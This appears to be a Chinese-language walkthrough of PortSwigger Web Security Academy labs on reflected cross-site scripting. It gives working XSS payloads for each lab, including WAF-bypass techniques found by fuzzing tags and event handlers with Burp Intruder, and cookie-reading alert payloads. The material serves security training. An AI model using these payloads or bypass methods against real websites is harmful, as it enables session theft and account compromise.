Reflected XSS
Reflected XSS into HTML context with nothing encoded
构造攻击脚本:<script>alert(1)</script>
将该脚本输入到搜索框中
Reflected XSS into HTML context with most tags and attributes blocked
在搜索功能中包含反射型跨站点脚本漏洞,但是使用了Web应用程序防火墙(WAF)来防御常见的XSS向量。
构造payload:<img src=1 onerror=alert(document.cookie)>
输入到搜索框,返回"Tag is not allowed"
,此payload被阻塞了。
接下来我们将测试哪些标签和属性被阻塞了。
将包发送到intruder模块,然后将尖括号里的内容删除:img+src%3D1+onerror%3Dalert%28document.cookie%29
,在尖括号中间点击两次Add§,以创建有效负载位置则search=%3C§§%3E
,则开始测试。
查看结果,发现除body,custom tags有效负载导致200响应之外,所有有效负载均导致HTTP 400响应。
返回positions页面,修改search=%3Cbody%20=§§1%3E
,开始测试。
查看结果,发现除onresize有效负载导致200响应之外,所有有效负载均导致HTTP 400响应。
到此可以构造攻击payload:<iframe src="https://ac981f721e8b39ea804614cf008b00ba.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=alert(document.cookie)%3E" onload=this.style.width='100px'>
攻击完成。
Reflected XSS into HTML context with all tags blocked except custom ones
阻止所有HTML标记(自定义标记除外
构造payload:
<script>
location = 'https://acd61f451e2b7a7b808700420060005b.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>
该注入将创建一个ID为的自定义标签x,其中包含一个onfocus触发该alert函数的事件处理程序。加载页面后,URL末尾的哈希将重点放在此元素上,从而导致alert有效负载被调用。
Reflected XSS with event handlers and href attributes blocked
包含一个反映了XSS漏洞的白名单标签,但是所有事件和锚点href属性均被阻止
因此我们会注入一个矢量,单击该矢量,即可调用该alert函数。例如:<a href="">Click me</a>
Reflected XSS with some SVG markup allowed
阻止了常见标签,但错过了一些SVG标签和事件
注:SVG 即 Scalable Vector Graphics,是一种用来绘制矢量图的 HTML5 标签
输入标准的xss脚本:<img src=1 onerror=alert(1)>
,提示"Tag is not allowed"
在intruder中构造search=<§§>,利用标签集
观察到所有的有效载荷造成的HTTP响应400,除了使用的那些<svg>,<animatetransform>,<title>,和<image>
标签接收到200响应。
返回position,将search修改为search=<svg><animatetransform%20§§=1>
,利用事件集。
除onbegin有效负载导致200响应之外,所有有效负载均导致HTTP 400响应。
因此构造攻击payload:
search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
攻击完成。
Reflected XSS into attribute with angle brackets HTML-encoded
存在XSS漏洞,但经过了HTML编码
以转义引用的属性并注入事件处理程序:"onmouseover="alert(1)
,将鼠标移到注入的元素上时,它将触发警报。
Reflected XSS in canonical link tag
将用户输入反映在规范的链接标签中,并转义了尖括号。/post?postId=1
要解决此问题,攻击将注入调用该alert函数的属性。
构造payload:https://your/?%27accesskey=%27x%27onclick=%27alert(1)
这会将X密钥设置为整个页面的访问密钥。当用户按下访问键时,将alert调用该功能。
Reflected XSS into a JavaScript string with single quote and backslash escaped
攻击发生在带有单引号和反斜杠转义的JavaScript字符串内。
要求会突破JavaScript字符串并调用该alert函数。
因此我们可以构造payload:search=</script><script>alert(1)</script>
采用重写绕过js编码检测。